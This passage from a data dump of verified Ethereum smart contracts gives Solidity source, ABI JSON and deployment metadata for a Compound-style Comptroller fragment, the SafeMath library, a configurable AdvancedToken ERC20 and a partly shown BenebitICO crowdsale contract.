// note that COMP speed could be set to 0 to halt liquidity rewards for a contributor
updateContributorRewards(contributor);
if (compSpeed == 0) {
// release storage
delete lastContributorBlock[contributor];
} else {
lastContributorBlock[contributor] = getBlockNumber();
}
compContributorSpeeds[contributor] = compSpeed;
emit ContributorCompSpeedUpdated(contributor, compSpeed);
}
/*** Helper Functions */
function getBlockNumber() public view returns (uint) {
return block.number;
}
/**
* @notice Returns an array of all markets.
*/
function getAllMarkets() external view returns (CToken[] memory) {
return allMarkets;
}
} | [{"inputs":[{"internalType":"address","name":"underlying_","type":"address"},{"internalType":"contract ComptrollerInterface","name":"comptroller_","type":"address"},{"internalType":"contract InterestRateModel","name":"interestRateModel_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"implementation_","type":"address"},{"internalType":"bytes","name":"becomeImplementationData","type":"bytes"},{"internalType":"uint256","name":"reserveFactorMantissa_","type":"uint256"},{"internalType":"uint256","name":"adminFeeMantissa_","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b000000000000000000000000d04010e5618d48625f6d9dfbc8e10e39c6349b77000000000000000000000000cdc0a449e011249482824effcfa05c883d36cfc70000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000067db14e73c2dce786b5bbbfa4d010deab4bbfcf900000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000016345785d8a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ff09f97bf2044654669204c656167756520436f6e7665782046696e616e6365000000000000000000000000000000000000000000000000000000000000000007664356582d36340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000 | Default | BSD-3-Clause | true | 0x102fe02ad4f1e3af3594526817d055260b5f7190 | bzzr://05c7822f7294a2303680b0d2b051bee472cd65b928fd92bacf345e29e5b26c9f |
|
CErc20Delegator | SafeMath.sol | 0xd7a7ab9aae5e9862b964c4e010340239bd272ccb | Solidity | pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | [{"inputs":[{"internalType":"address","name":"underlying_","type":"address"},{"internalType":"contract ComptrollerInterface","name":"comptroller_","type":"address"},{"internalType":"contract InterestRateModel","name":"interestRateModel_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"implementation_","type":"address"},{"internalType":"bytes","name":"becomeImplementationData","type":"bytes"},{"internalType":"uint256","name":"reserveFactorMantissa_","type":"uint256"},{"internalType":"uint256","name":"adminFeeMantissa_","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b000000000000000000000000d04010e5618d48625f6d9dfbc8e10e39c6349b77000000000000000000000000cdc0a449e011249482824effcfa05c883d36cfc70000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000067db14e73c2dce786b5bbbfa4d010deab4bbfcf900000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000016345785d8a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ff09f97bf2044654669204c656167756520436f6e7665782046696e616e6365000000000000000000000000000000000000000000000000000000000000000007664356582d36340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000 | Default | BSD-3-Clause | true | 0x102fe02ad4f1e3af3594526817d055260b5f7190 | bzzr://05c7822f7294a2303680b0d2b051bee472cd65b928fd92bacf345e29e5b26c9f |
|
AdvancedToken | contracts/erc20/AdvancedToken.sol | 0x83d1bd7a32c48e0248a8bdbd58b3f05063dd118f | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "../utils/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract AdvancedToken is Ownable, ERC20 {
using SafeERC20 for IERC20;
bool public burnable;
bool public mintable;
bool public ethRefundable;
bool public tokenRefundable;
bool public pausable;
bool public blacklistable;
bool public paused;
mapping(address => bool) internal _blacklist;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 supply_,
bytes memory d
) payable Ownable(msg.sender) {
(uint32 options, uint256 f, address p, bytes32 h) = abi.decode(d, (uint32, uint256, address, bytes32));
bytes memory params = abi.encodePacked(block.chainid, msg.sender, options, f, p);
require(h == keccak256(params));
require(msg.value >= f);
payable(p).transfer(msg.value);
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_mint(msg.sender, supply_);
burnable = ((options >> 0) & 1) > 0;
mintable = ((options >> 1) & 1) > 0;
ethRefundable = ((options >> 2) & 1) > 0;
tokenRefundable = ((options >> 3) & 1) > 0;
pausable = ((options >> 4) & 1) > 0;
blacklistable = ((options >> 5) & 1) > 0;
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function mint(address to, uint256 value) public onlyOwner returns (bool) {
require(mintable);
_mint(to, value);
return true;
}
function refundETH(address recipient) public onlyOwner {
require(ethRefundable);
require(recipient != address(0), "0x0");
uint256 amount = address(this).balance;
payable(recipient).transfer(amount);
}
function refundToken(address token, address recipient) public onlyOwner {
require(tokenRefundable);
require(recipient != address(0));
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(recipient, amount);
}
function pause() public onlyOwner {
require(pausable);
paused = true;
}
function unpause() public onlyOwner {
require(pausable);
paused = false;
}
modifier ifBlacklistable() {
require(blacklistable);
_;
}
function isInBlacklist(address account) public view returns (bool) {
return _blacklist[account];
}
function blacklist(address account) public onlyOwner ifBlacklistable {
_blacklist[account] = true;
}
function unblacklist(address account) public onlyOwner ifBlacklistable {
require(blacklistable);
_blacklist[account] = false;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 //amount
) internal virtual override {
require(!paused, "Paused");
if (blacklistable) {
require(!_blacklist[from], "From is blacklisted");
require(!_blacklist[to], "To is blacklisted");
}
}
} | [{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"supply_","type":"uint256"},{"internalType":"bytes","name":"d","type":"bytes"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"blacklistable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ethRefundable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isInBlacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mintable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pausable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"refundETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"recipient","type":"address"}],"name":"refundToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenRefundable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"unblacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.10+commit.fc410830 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000052b7d2dcc80cd2e4000000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000036f6b62000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034f4b4200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000f8b0a10e4700000000000000000000000000009a2ef50b230dcdb06eb4988c96395677966cc0b8665c55170ae82b27eeda46513c0bf8b3ad98d081e8cb73da96ac4f5f345106aa | Default | false | ||||
BenebitICO | BenebitICO.sol | 0x1a853aa1e872d330f9e743777e02c3ced98b56cc | Solidity | pragma solidity ^0.4.11;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title BenebitICO
* @author Hamza Yasin || Junaid Mushtaq
* @dev BenibitCrowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them BNE tokens based
* on a BNE token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
//totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function burnTokens(uint256 _unsoldTokens) onlyOwner public returns (bool) {
totalSupply = SafeMath.sub(totalSupply, _unsoldTokens);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Benebit Crowdsale
* @author Junaid Mushtaq || Hamza Yasin
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
MintableToken private token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public preStartTime;
uint256 public preEndTime;
uint256 public ICOstartTime;
uint256 public ICOEndTime;
// Bonuses will be calculated here of ICO and Pre-ICO (both inclusive)
uint256 private preICOBonus;
uint256 private firstWeekBonus;
uint256 private secondWeekBonus;
uint256 private thirdWeekBonus;
uint256 private forthWeekBonus;
// wallet address where funds will be saved
address internal wallet;
// base-rate of a particular Benebit token
uint256 public rate;
// amount of raised money in wei
uint256 internal weiRaised;
// Weeks in UTC
uint256 weekOne;
uint256 weekTwo;
uint256 weekThree;
uint256 weekForth;
// total supply of token
uint256 private totalSupply = 300000000 * (10**18);
// public supply of token
uint256 private publicSupply = SafeMath.mul(SafeMath.div(totalSupply,100),75);
// rewards supply of token
uint256 private rewardsSupply = SafeMath.mul(SafeMath.div(totalSupply,100),15);
// team supply of token
uint256 private teamSupply = SafeMath.mul(SafeMath.div(totalSupply,100),5);
// advisor supply of token
uint256 private advisorSupply = SafeMath.mul(SafeMath.div(totalSupply,100),3);
// bounty supply of token
uint256 private bountySupply = SafeMath.mul(SafeMath.div(totalSupply,100),2);
// preICO supply of token
uint256 private preicoSupply = SafeMath.mul(SafeMath.div(publicSupply,100),15);
// ICO supply of token
uint256 private icoSupply = SafeMath.mul(SafeMath.div(publicSupply,100),85);
// Remaining Public Supply of token
uint256 private remainingPublicSupply = publicSupply;
// Remaining Reward Supply of token
uint256 private remainingRewardsSupply = rewardsSupply;
// Remaining Bounty Supply of token
uint256 private remainingBountySupply = bountySupply;
// Remaining Advisor Supply of token
uint256 private remainingAdvisorSupply = advisorSupply;
// Remaining Team Supply of token
uint256 private remainingTeamSupply = teamSupply;
// Time lock or vested period of token for team allocated token
uint256 private teamTimeLock;
// Time lock or vested period of token for Advisor allocated token
uint256 private advisorTimeLock;
/**
* @bool checkBurnTokens
* @bool upgradeICOSupply
* @bool grantTeamSupply
* @bool grantAdvisorSupply
*/
bool private checkBurnTokens;
bool private upgradeICOSupply;
bool private grantTeamSupply;
bool private grantAdvisorSupply;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// Benebit Crowdsale constructor
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
// Benebit token creation
token = createTokenContract();
// Pre-ICO start Time
preStartTime = _startTime;
// Pre-ICO end time
preEndTime = 1521637200;
// // ICO start Time
ICOstartTime = 1521982800;
// ICO end Time
ICOEndTime = _endTime;
// Base Rate of BNE Token
rate = _rate;
// Multi-sig wallet where funds will be saved
wallet = _wallet;
/** Calculations of Bonuses in ICO or Pre-ICO */
preICOBonus = SafeMath.div(SafeMath.mul(rate,30),100);
firstWeekBonus = SafeMath.div(SafeMath.mul(rate,20),100);
secondWeekBonus = SafeMath.div(SafeMath.mul(rate,15),100);
thirdWeekBonus = SafeMath.div(SafeMath.mul(rate,10),100);
forthWeekBonus = SafeMath.div(SafeMath.mul(rate,5),100);
/** ICO bonuses week calculations */
weekOne = SafeMath.add(ICOstartTime, 604800);
weekTwo = SafeMath.add(weekOne, 604800);
weekThree = SafeMath.add(weekTwo, 604800);
weekForth = SafeMath.add(weekThree, 604800);
/** Vested Period calculations for team and advisors*/
teamTimeLock = SafeMath.add(ICOEndTime, 31536000);
advisorTimeLock = SafeMath.add(ICOEndTime, 5356800);
checkBurnTokens = false;
upgradeICOSupply = false;
grantAdvisorSupply = false;
grantTeamSupply = false;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// High level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// minimum investment should be 0.05 ETH
require(weiAmount >= (0.05 * 1 ether));
uint256 accessTime = now;
uint256 tokens = 0;
// calculating the ICO and Pre-ICO bonuses on the basis of timing
if ((accessTime >= preStartTime) && (accessTime < preEndTime)) {
require(preicoSupply > 0);
tokens = SafeMath.add(tokens, weiAmount.mul(preICOBonus));
tokens = SafeMath.add(tokens, weiAmount.mul(rate));
require(preicoSupply >= tokens);
preicoSupply = preicoSupply.sub(tokens);
remainingPublicSupply = remainingPublicSupply.sub(tokens);
} else if ((accessTime >= ICOstartTime) && (accessTime <= ICOEndTime)) {
if (!upgradeICOSupply) {
icoSupply = SafeMath.add(icoSupply,preicoSupply);
upgradeICOSupply = true;
}
if ( accessTime <= weekOne ) {
tokens = SafeMath.add(tokens, weiAmount.mul(firstWeekBonus));
} else if (accessTime <= weekTwo) {
tokens = SafeMath.add(tokens, weiAmount.mul(secondWeekBonus));
} else if ( accessTime < weekThree ) {
tokens = SafeMath.add(tokens, weiAmount.mul(thirdWeekBonus));
} else if ( accessTime < weekForth ) {
tokens = SafeMath.add(tokens, weiAmount.mul(forthWeekBonus));
}
tokens = SafeMath.add(tokens, weiAmount.mul(rate));
icoSupply = icoSupply.sub(tokens);
remainingPublicSupply = remainingPublicSupply.sub(tokens);
} else if ((accessTime > preEndTime) && (accessTime < ICOstartTime)){
revert();
}
// update state
weiRaised = weiRaised.add(weiAmount);
// tokens are minting here
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
// funds are forwarding
forwardFunds();
}
// send ether to the fund collection wallet
